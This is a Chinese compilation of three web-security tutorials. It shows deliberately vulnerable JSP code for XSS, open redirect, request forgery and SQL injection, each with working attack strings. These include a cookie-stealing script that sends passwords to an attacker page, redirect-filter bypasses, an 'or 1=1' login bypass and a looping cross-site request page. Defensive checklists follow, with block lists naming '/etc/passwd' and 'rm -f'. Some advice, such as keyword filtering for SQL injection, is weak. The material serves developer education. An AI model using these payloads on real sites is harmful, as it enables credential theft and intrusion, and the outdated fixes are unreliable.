整理一:
文章从实际的 JSP 例子出发,尽力解释安全问题产生的原因。这些例子代码是本人初学 JSP,也是许多人在开始学习 JSP 时容易编写的问题代码。代码看起来并没有什么问题,但是往往存在巨大的漏洞。例子虽然简单,却很能说明问题。文章将用 6 个例子,分别讲述 6 种 Web 攻击手段及原理,以及程序员需要从哪些方便进行防御。可以从图片介绍中查看效果。讲解 6 种 Web 漏洞的顺序如下表,读者也可以选择感兴趣的部分点击查看。
· 反射型 XSS 漏洞
· 保存型 XSS 漏洞
· 重定向漏洞
· 本站点请求漏洞
· 跨站点请求漏洞
· SQL 注入漏洞
在文章的附件代码中,包含上述各个列表项的示例程序,每个列表项对应了单独的项目文件夹,以漏洞名称命名,可以直接使用 Jee Eclipse 打开。
问题代码 --- 反射型 XSS漏洞
反射型 XSS 漏洞是一种非常常见的 Web 漏洞,原因是由于程序动态显示了用户提交的内容,而没有对显示的内容进行验证限制。因此这就让攻击者可以将内容设计为一种攻击脚本,并且引诱受害者将此攻击脚本作为内容显示,而实际上攻击脚本在受害者打开时就开始执行,以此盗用受害者信息。
例子是动态显示错误信息的程序,错误信息可以在URL 中传递,显示时服务器不加任何限制,符合反射型 XSS 攻击的条件。
清单 1.index.jsp 主要代码
<form action="ReflectXSSServer" method="post"> 用户名:<input type="text" name="username" value=""/><br> 密 码:<input type="password" name="password" value=""/><br> <input type="submit" value="提交"/> </form> |
清单 2.ReflectXSSServe.java 主要代码
String username = request.getParameter("username"); String password = request.getParameter("password"); // 添加用户信息到 Cookie,方便下次自动登录 addToCookie(“username”, username); addToCookie(“password”, password); request.getRequestDispatcher(" error.jsp?error=password is wrong!").forward(request, response); |
清单 3.error.jsp 主要代码
Error Message :<%=request.getParameter("error")%> |
index.jsp 作为用户登录界面,提交登录请求给ReflectXSSServe.java。ReflectXSSServe.java 处理登录请求,将用户名和密码记录到 cookie,方便用户下次登录。如果登录信息错误 ( 例子代码直接认为错误 ),就会跳转到 error.jsp,显示错误信息,错误信息是通过名为 error 的参数传递。
问题分析
代码很简单,似乎也很合逻辑,但是这个程序暴露出一个严重的问题就是错误信息是通过参数传递,并且没有经过任何处理就显示。如果被攻击者知道存在这样一个 error.jsp,攻击者就可以很容易的攻击用户并且获得用户的重要信息。
攻击此程序
可以设计这样一个 URL:http://localhost:8080/application/error.jsp?error=<script>var mess =document.cookie.match(new%20RegExp("password=([^;]*)"))[0];window.location="http://localhost:8080/attacter/index.jsp?info="%2Bmess</script>。这看起来有点复杂,让我们分析一下。http://localhost:8080/application/error.jsp?error=这一部分,是 error.jsp 的地址,我们主要关心后面的错误信息内容,这是一段 javascript 脚本,document.cookie.match(new%20RegExp("password=([^;]*)"))[0],这样一句话,是为了获得 cookie 中名为 password 的值。然后,通过 window.location 重定向到攻击者的网站,并且把 password 作为参数传递过去,这样,攻击者就知道你的密码了。后面,只需要让被攻击者登录后点击这个 URL 就可以了。
为了让被攻击者可以点击这个 URL,攻击者往往会构建能够吸引被攻击者的网页,或者邮件,这个做法有个形象的称呼:钓鱼攻击。当被攻击者登录应用系统后,cookie 就保存了用户名和密码信息。由于设计的 URL 的主体是收信任的网站,被攻击者往往毫不犹豫的点击攻击者设计的 URL,那么设计好的 script 脚本被当做信息内容嵌入到 error.jsp 中时,就会作为脚本开始执行,用户名和密码也就被人盗取了。
图 1. 用户登录界面
用户输入用户名和密码分别为 user 和 pass,登录后受到钓鱼攻击,点击了攻击者设计的 URL。
图 2. 诱使用户点击 URL
攻击者设计的 URL 包含攻击脚本,攻击脚本执行后,password 的内容被传到另一个网站,这个应用程序是 attacter(附件中也会包含),password 信息被记录到攻击者的数据库。
图 3. 攻击成功界面
解决方法
尽量避免直接显示用户提交的数据,应进行一定的过滤,比如对于数据中存在的 < 和 > 等符号需要进行编码,这样就可以防止脚本攻击。
问题代码 --- 保存型 XSS漏洞
保存型 XSS 漏洞的危害会更大,它是将攻击脚本保存到被攻击的网页内,所有浏览该网页的用户都要执行这段攻击脚本。
这个例子,模仿了一个论坛发表评论的网页。对于用户的评论,系统不加任何限制和验证,直接保存到服务器的数据库中(例子使用全局对象代替数据库,作为例子演示)。并且当有其他用户查看网页时,显示所有评论。
清单 4.saveXSS.jsp 主要代码
<jsp:useBean id="tl" scope="application" class="java.util.LinkedList"></jsp:useBean> <% String topic = (String)request.getParameter("topic"); if (topic != null && !topic.equals("")) { tl.add(topic); } %> <div> <% for(Object obj : tl) { String str = (String)obj; %> <div><%=str%><div/> <% } %> </div> <form action="saveXSS.jsp" method="post"> 评论:<input type="text" name="topic"/><br> <input type="submit" value="提交"/> </form> |
这里用了一个应用级的 List 对象存放评论列表,只是为了演示方便。用户可以在 form 中编写评论内容,提交到同一页面 saveXSS.jsp,提交以后,List 对象增加这个评论,并且显示出来。
问题分析
这个程序符合了保存型 XSS 攻击的所有条件,没有限制评论内容,程序会保存所有评论,显示给查看网页的用户。只要攻击者将攻击脚本作为评论内容,那么所有查看评论的用户都将执行这段攻击脚本而受到攻击。
攻击此程序
攻击这个程序所需要设计的攻击脚本和上文的错误显示内容一样,但是需要注意的是这次不需要编码,%20 改为空格,而 %2B 则变为 +,原因是上例是通过 URL 传递数据,而本例是直接通过表单传递数据,攻击脚本:<script>varmess = document.cookie.match(new RegExp("password=([^;]*)"))[0];window.location="http://localhost:8080/attacter/index.jsp?info="+mess</script>,将这个内容作为评论发表,那么当其他用户查看这个网页时,攻击脚本代码被当做内容嵌入到网页中,攻击脚本就被触发执行,用户就会受到攻击,脚本执行过程和反射型 XSS 攻击一致。
图 4. 评论界面
发表的内容是攻击者设计的一个攻击脚本,这个脚本被直接保存到了网页中。任何查看此页面的其他用户,他们的信息都会被盗取。
图 5. 提交攻击脚本
>解决方法
对于保存型 XSS 漏洞,由于我们无可避免的需要显示用户提交的数据,所以过滤是必然的,过滤 < 和 > 等符号可以避免上述漏洞的发生。
问题代码 --- 重定向漏洞
如果应用程序提取用户可控制的输入,并使用这个数据执行一个重定向,指示用户的浏览器访问一个不同于用户要求的 URL,那么就会造成重定向漏洞。
例子允许用户输入一个重定向路径,由服务器执行跳转。
清单 5.index.jsp 主要代码
<form action="Redirect"> 地址:<input name="target" type="text"><br> <input type="submit" value="提交"> </form> |
清单 6.Redirect.java 主要代码
String param = request.getParameter("target"); if (param != null && !param.equals("")) { response.sendRedirect(param); } |
用户在 index.jsp 的表单中输入跳转的路径,服务器端的 Redirect.java 执行 sendRedirect 重定向。
问题分析
程序允许让用户设置重定向地址,而并没对地址内容进行验证处理,而是直接跳转,那么攻击者完全可以设计一个攻击 URL,其中包含攻击者设计的攻击内容,使用钓鱼攻击,诱使用户点击此 URL,受到攻击。
攻击此程序
设计 URL:http://www.baidu.com,这里只是以跳转作为例子,并没有构建真正有害的网站,所以使用普通地址作为演示,假设这个地址有许多有害信息。其中 http:// 头部非常重要,它可以让服务器执行绝对跳转,跳转到www.baidu.com。如果没有 http:// 就会跳转到系统的相对路径。
图 6. 输入路径
点击提交,网页就会跳转到百度界面。
有人试图这样处理跳转路径 param:param = param.replaceFirst("http://", ""); 将第一个 http:// 替换为空字符串,认为这样可以解决问题,但是攻击者往往也很聪明,他会将URL 改为 : http://http://, 即使替换了第一个,第二天 http:// 就会生效。那么如果对 param 这么处理呢:param = param.replaceAll("http://", ""); 将所有的 http:// 都替换,那么攻击者可以将 URL 设计为 hthttp://tp://,将中间的 http:// 替换为空后,ht 和 tp:// 组合又变为 http://,攻击又一次生效 , 因此,我们需要一个更加全面的考虑。
解决方法
避免由用户决定跳转的页面,如果必须这么做,路径中只允许出现 /以及 数字或者 英文字符可以一定程度的避免这个问题。
问题代码 --- 本站点请求漏洞
本站点请求伪造(on-site requestforgery,OSRF)是一种利用保存型 XSS 漏洞的常见攻击有效载荷。是攻击者设计攻击代码,保存到被攻击网页上,当普通用户或者管理员查看页面时,攻击代码就会执行,此攻击代码的目的是伪装成查看网页的用户向服务器发出请求。
这是一个发布图像的论坛例子,用户可以输入图像URL,论坛负责读取此 URL 进行显示。
img.jsp 与前文的 saveXSS.jsp 代码相同,只是这次显示不再是字符串,而是需要将
<div><%=str%><div/>改为 <div><imgsrc=<%=str%> width=50 height=50/><div/>,目的是显示用户上传的图像。
清单 7.admin.jsp 主要代码
<% String username = (String)request.getParameter("username"); System.out.println("delete " + username); %> <%=username%> |
admin.jsp 是管理员用于删除用户的请求处理程序,admin.jsp实际上应该会判断是否是管理员账户,如果是才允许执行删除用户的操作。本文例子假设请求的确为管理员发出。
问题分析
这个程序明显存在着保存型 XSS 漏洞,并且上传的内容被作为图像 URL,img 标签是本站点请求漏洞的敲门器,因为 img 始终会执行 src 属性的URL 请求,而不管 src 指向的是否是真正的图像。这个程序并没有对 src 是否是图片地址进行验证,因此可以伪造请求。
攻击此程序
将上传的图像 URL 设计为:admin.jsp? username=hello,提交上去后,从攻击者的角度看,只是图片没有显示,因为攻击者并不是管理员,所以实际上无法删除 hello 这个用户。但是当管理员打开这个页面时,img 标签就会执行 admin.jsp? username=hello 的请求,请求删除 hello 用户,由于的确是管理员发出的请求,服务器执行删除操作,删除了 hello 用户,攻击者的目的也就达到了。
图 7. 输入攻击 URL
图 8. 攻击者提交 URL
攻击者点击提交,自身并没有什么影响,只是图片没有显示。然而,当管理员登陆后,admin.jsp 中删除 user 的操作就会执行,例子中是打印删除消息到控制台。
图9.admin.jsp 控制台输出
解决方法
与保存型 XSS 漏洞一节里的解决方法一样,不仅仅需要限制脚本,还需要判断 img 标签内的 src 属性是否安全,是否包含不是图像的 url。
问题代码 --- 跨站点请求漏洞
跨站点请求漏洞,是一个比较隐蔽的漏洞,发出请求的攻击代码,并不存在于被攻击的网站上,而是利用浏览器的跨站点请求特性(IE6 允许,而 FireFox 和Chrome 禁止了)进行的。所谓的跨站点,就是同一种浏览器同时打开不同网站的网页 A 和 B,如果这个时候 B 向 A 网站发出某个请求,A 网站就会认为是 A 网页发出的请求,并且接受这个请求。
例子程序是通过跨站点请求漏洞,对登录的用户进行攻击。
清单 8.Attacker.jsp 主要代码
<script type="text/javascript"> setInterval(attack,3000); function attack() { // 不断向 UserLogin.java 发出请求 $.post("http://localhost:8080/KuaZhanDian/UserLogin"); } </script> </head> <body> 伪造的很有吸引力的网站 </body> |
清单 9.UserLogin.java 主要代码
String parameter = request.getParameter("username"); if (parameter != null && !parameter.equals("")) { (1) request.getSession().setAttribute("username", parameter); } else { (2) Object attribute = request.getSession().getAttribute("username"); if (attribute != null) { System.out.println(attribute + "被侵入咯"); } } |
还有一个 index.jsp, 是向 UserLogin.java 提出登录请求的,注意:Attacker.jsp 是另外一个网站的网页,用于吸引被攻击用户,这个网页循环的向 UserLogin 提出请求,为了方便,使用了 JQuery 进行 ajax 开发。UserLogin.java 中,进入(1)位置,代表正常的用户登录,进入(2)的位置,代表用户登录后处理用户的请求。
问题分析
绝大多数网站,都没有考虑跨站点的漏洞,因为他们的发生是有一定概率的,首先,攻击者要确认被攻击者使用的是允许跨站点请求的浏览器。其次,被攻击者要同时打开攻击者设计的网站并且登录上面的 UserLogin 才可以。如果两个条件都满足,就可以进行攻击了。
攻击此程序
吸引被攻击者打开设计的具有诱惑力的网站Attacker.jsp,那么请求就开始不停地发出,由于服务器认为不是合法用户发出的请求,不予处理。于此同时,被攻击者登录了正常的应用程序 UserLogin,UserLogin 中记录了被攻击者登录的 session 信息,当 Attacker.jsp 再次发请求(注意,Attacker.jsp 是循环发送请求的)给 UserLogin 时,由于被攻击者已经登录,UserLogin 会认为是被攻击者发出的请求,属于正常请求,就处理了这个请求。攻击目的就达到了。
实际上攻击成功需要一定步骤,下面图片按照攻击步骤排列。
图 10. 用户登录
用户登录后,不关闭页面,同时又打开攻击者设计的网页
图 11. 用户受到钓鱼攻击
此时攻击者的页面不断向服务器提出请求,用户并不知道,服务器认为是 helloworld 提出的正常请求,执行该请求。
图 12. 控制台输出被攻击信息
解决方法
服务器可以给客户端发送唯一的 ID,客户端发送请求时,需要连同这个 ID 一起请求,服务器可以判断这个 ID 是否正确,正确的话才可以执行请求。
问题代码 ---SQL 注入漏洞
SQL 注入,是攻击者精心设计提交的数据,当服务器使用此数据合成 SQL 语句时,SQL 语句失去了开发者的初衷,被改变了语义。执行了具有破坏力的 SQL 语句。
该例子是用户登录的例子,也是 SQL 注入漏洞最容易出现的地方,攻击者精心设计了用户名和密码,使得攻击者可以使用错误的用户名和密码登录应用程序。
清单 10.LoginServer.java 主要代码
String username = request.getParameter("username"); String password = request.getParameter("password"); if (username != null && password != null) { String sql = "SELECT username FROM USER WHERE username=" + username + " AND password=" + password + " LIMIT 1"; System.out.println(sql); } |
LoginServer.java 负责处理登录请求,执行判断请求用户是否可以登录的SQL 语句。这里输出实际执行的 SQL 语句,以便我们判断是否收到攻击。
问题分析
程序对登录请求的用户名和密码没有进行任何处理。
攻击此程序
将用户名和密码分别设计为 usernameor 1=1 和 password or 1=1,如果将此数据上传,SQL 语句执行的是 SELECT username FROM USER WHEREusername= username or 1=1
AND password=password or 1=1 LIMIT 1, 可以看出,WHERE 语句实际上返回的都是 true,攻击者虽然不知道登录用户的真正用户名和密码,但是却可以顺利登录并且执行此用户的操作,这就是 SQL 注入的严重性了。
图 13 中,用户输入的用户名和密码分别为 user_name、pass_word。
图 13. 用户登录
点击登录,控制台输出实际执行的 SQL 语句:
SELECT username FROM USER WHERE username=user_name AND password=pass_word LIMIT 1 这是一个正常的 SQL 语句。 |
用户输入用户名和密码改为 user_nameor 1=1、pass_word or 1=1。
控制台输出实际执行的 SQL 语句:
SELECT username FROM USER WHERE username=user_name or 1=1 AND password=pass_word or 1=1 LIMIT 1 SQL 注入成功。 |
解决方法
对用户上传的数据中,类似 . = ==> < 等 SQL 关键字进行限制,如果包含就报错,禁止用户传递危险字符。
其他 Web 安全问题简介
Web 上还有很多的安全问题,如下面的列表,这些问题在很大程度可以通过代码进行防控。有兴趣的读者可以进一步查阅资料,了解这些安全问题。
· 远程命令执行 (Code execution)
· 目录遍历 (Directory traversal)
· 文件包含 (File inclusion)
· 脚本代码暴露 (Script source code disclosure)
· Http请求头的额外的回车换行符注入 (CRLFinjection/HTTP response splitting)
· PHP 代码注入 (PHP code injection)
· XPathinjection
· Cookie篡改 (Cookiemanipulation)
· GoogleHacking
· 框架注入
· JSON劫持
· 会话固定
· ActiveX漏洞
· 攻击缓存 Web 内容
· 持久性 cookie 漏洞
原文链接:http://www.2cto.com/Article/201212/178490.html
整理二:
标有 (*) 的检查项目表示该项是针对相关问题的根本解决方法,应当尽最大努力去完成这些内容。
未标 (*) 的项目,表示该项并不能完全消除安全隐患,只是说通过这种方法可以避免发生安全问题。
SQL注射
(*) 在组合SQL语句时要使用SQL变量绑定功能
(*) 如果数据库不提供变量绑定,那么需要对构成SQL的所有变量进行转义
不要将错误信息原封不动地显示在浏览器中。
为访问数据库的用户设置适当的权限。
操作系统命令行注射
(*) 避免使用能启动shell命令的语言
使用的语言如果允许启动shell命令,则需要对该功能的参数种的所有变量进行检查,确保只包含合法的操作
不检查路径名参数/目录遍历
(*) 不要将外部传进来的参数直接作为文件名来使用
(*) 将打开文件的操作限制在固定的目录中,并禁止文件名中包含路径
为Web服务器上的文件设置正确的访问权限
检查文件名
会话管理的问题
(*) 用难以推测的内容作为会话ID
(*) 不要在URL中保存会话ID
(*) 为https协议中使用的cookie设置secure属性
(*) 登录成功后生成新的会话
(*) 登录成功后,在会话ID之外再生成一个秘密信息,每次访问页面时都检查之
不使用固定值作为会话ID
将会话ID保存到Cookie中时,要设置有效期限
跨站脚本攻击(XSS)
不允许输入HTML内容时的解决方法
(*) 输出到页面上的所有内容都要转义
(*) 输出URL时仅允许以“http://”或“https://”开头的URL
(*) 不要动态生成 的内容
(*) 不要从外部网站读入样式表
检查输入内容
允许输入HTML内容时的解决方法
(*) 解析输入的HTML内容,生成解析树,然后提取其中的非脚本部分
使用脚本删除输入的HTML内容中的相关字符串
通用解决方法
(*) 应答的HTTP头重指定Content-Type的charset属性
为避免Cookie情报泄漏,应禁止Trace方法,并对所有Cookie设置HttpOnly属性
跨站请求伪造(CSRF)
(*) 所有页面都通过POST来访问,在前一页面的hidden中随机生成一个信息,提交后的页面检查该信息,正确时才予以执行
(*) 执行业务之前再次要求输入密码
(*) 确认Referer是否正确,只有正确时才执行
执行重要操作时,向预先设置的邮件地址中发送邮件
HTTP头注射
(*) 不直接输出HTTP头,而使用运行环境提供的头信息输出API
(*) 无法使用API时,要禁止输入的头信息中的换行
删除所有外部输入中的换行
邮件盗用(通过某种手段使邮件发送到攻击者指定的地址)
(*) 不使用外部参数作为邮件头信息
必须用外部参数设置头信息时,要删除其中的危险字符。
原文链接:http://www.chinaz.com/design/2009/0105/59275.shtml
整理三:
web站点不可避免提供了很多同用户交互的内容,在编写程序过程中,应特别注意用户输入内容的处理,以及对数据库的一些操作。阐述本文的目的,在于提醒开发者遵循特定的web编程安全规范,以尽量避免应用程序代码的安全问题。
对用户输入内容的处理遵循三步骤的原则:
1. 检查输入数据是否来自期望的上一级页面,具体可采用“同步令牌”等技术实现;
2. 检查输入的提交方法是否为post方法;
3. 检查用户输入数据是否有效合理;
通过以上三步骤,即可基本防止别有用心者通过精心构造一些字符串来对系统进行攻击。
一、 处理用户登录
用户登录程序主要是需要对用户输入的用户名及口令仔细进行有效性校验,否则攻击者可以提交一些特殊数据,如果程序不能过滤掉这些特殊字符,则可能导致危险后果。
1. 对于口令验证过程,建议采用下列方式
<1>根据提交的用户名在数据库中查找记录,如果没有则出错返回,如果有该用户,转步骤<2>;
<2>将得到的记录中的口令部分与用户输入的口令进行字符串比较,如果一致则允许通过,否则出错返回;
注意:不要在一条select语句中同时完成对用户/口令的验证,以增加潜在的危险攻击的难度;
2. 用单引号“封装”用户输入数据
对于php语言写的代码,应该在所有由用户输入的数据外面封装上单引号,不管是数值型变量还是字符型变量。构造sql语句是最好采用下列格式:
$sql_query=”selectf1,f2 from table where id=’input_id’ and name=’input_name’”;
这样,用户输入数据中如果包含单引号等特殊字符,php会自动在其前面增加’\’来取消掉其特殊意义,从而大大降低了安全风险。
同样,对于j ava语言代码,在所有可能的情况下,应该使用preparedstatement和动态sql,即用?符号代表参数,通过preparedstatement的setxxx(如setint,setstring等)方法设置参数,然后执行sql语句,不要养成在每次语句执行前根据参数拼sql语句的习惯。
二、 处理用户输入
除了对登录的处理,在处理用户输入时,还需遵循以下原则:
1. 拒绝任何以斜线开始的内容
斜线意味着“相对于根”或绝对路径。用户很少需要访问web根目录之外的数据,这样他们使用的路径就是相对于web根目录,而不是绝对路径,为安全起见,有必要拒绝任何以斜线开始的内容;
2. 拒绝任何包含单个点(.)和两个点(..)的序列的内容
在路径中单个点(.)和两个点(..)的序列有特殊含义。单点意味着“相对于当前目录”,而双点意味着“相对于当前目录的父目录”。有些人可以建立象../../../etc/passwd这样的串逆向三层,然后向下进入/etc/passwd文件,从而对系统安全造成极大威胁;
3. 在把用户提交的数据传送给系统之前,过滤掉如下字符:
; |< > * & ! # ( ) { } [ ] : ‘ “ /
此外,还要注意对回车换行符号做过滤处理;
4. 拒绝任何以冒号为第二个字符的内容
基于nt服务器使用驱动器字母的概念来引用磁盘卷,包含对驱动器的引用的路径都以一个字母加上一个冒号开头;
5. 应拒绝任何unc路径
基于nt的服务器还支持universalnaming conventions(unc)引用,一个unc文件规格指定机器名和一个共享点,其余部分和指定机器上的指定共享点有关。unc文件规格总是以两个反斜线开头,编写程序时应加以注意。
6. 仔细检查输入语句,一遍情况拒绝如下命令:
rm –f
mail ……
delete……
……/etc/passwd
或其它对系统有威胁的操作。
7. 存储/删除密码
如果密码是存储在 java string 对象中的,则直到对它进行垃圾收集或进程终止之前,密码会一直驻留在内存中。即使进行了垃圾收集,它仍会存在于空闲内存堆中,直到重用该内存空间为止。密码string 在内存中驻留得越久,遭到窃听的危险性就越大。
更糟的是,如果实际内存减少,则操作系统会将这个密码string 换页调度到磁盘的交换空间,因此容易遭受磁盘块窃听攻击。
为了将这种泄密的可能性降至最低(但不是消除),您应该将密码存储在 char数组中,并在使用后对其置零。(string是不可变的,所以无法对其置零。)
8. java编程的智能序列化
当为存储器或传输任何私有字段而序列化对象时,缺省情况下,这些对象都呈现在流中。因此,敏感数据很容易被窃听。可以使用transient 关键字来标记属性,这样在流中将忽略该属性。
三、 处理数值型变量
所有用户输入有关变量都要用单引号包起来(php语言)。
对所有数值型变量,首先要判断其内容是不是真的数值型(例如可以用is_num()函数),如果不是,就进行出错处理。为了安全起见,即使是数值型变量,也应当在它的外面包上单引号。
四、 处理出错信息
程序员写程序时,往往设定输出一些出错信息,或者借助系统的出错信息对程序进行调试。在实际应用中,一定要注意替换这些出错提示信息,以免泄露一些重要的信息给恶意攻击者。特别时在程序测试阶段,一定要注意用户输入错误数据后程序的运行结果及报错信息等。
五、 危险的系统调用
尽量减少system()、popen()之类的系统调用,特别是这些调用如果要激活一个系统shell时,更应该仔细检查其安全性,以免被黑客利用。
如果不是特别需要,不要使用system()或者popen()这样的系统调用,特别是以用户输入的数据作为这些调用的参数的时候。如果没有对用户输入数据进行分析处理,可能会被用来执行系统命令。如果必须使用这些调用,应当过滤掉用户输入数据中存在的危险字符: ;& | < >等等。
或者,可以通过一个或多个参数,在不激活一个shell的前提下执行一些命令,达到程序要完成的目的,如用perl写的如下代码是安全的:
system(‘/usr/games/fortune’,’-o’);
也可以用open达到和popon相视的效果,但不用激活shell:
open(fh,’|-’)||exec(“program”,$arg1,$arg2);
或者用下面的代码不接受不安全的数据信息,避免被攻击:
unless($recipient=/^[\w@\.\-]+$/)
{
#printout some html here indicating failure
exit(1);
}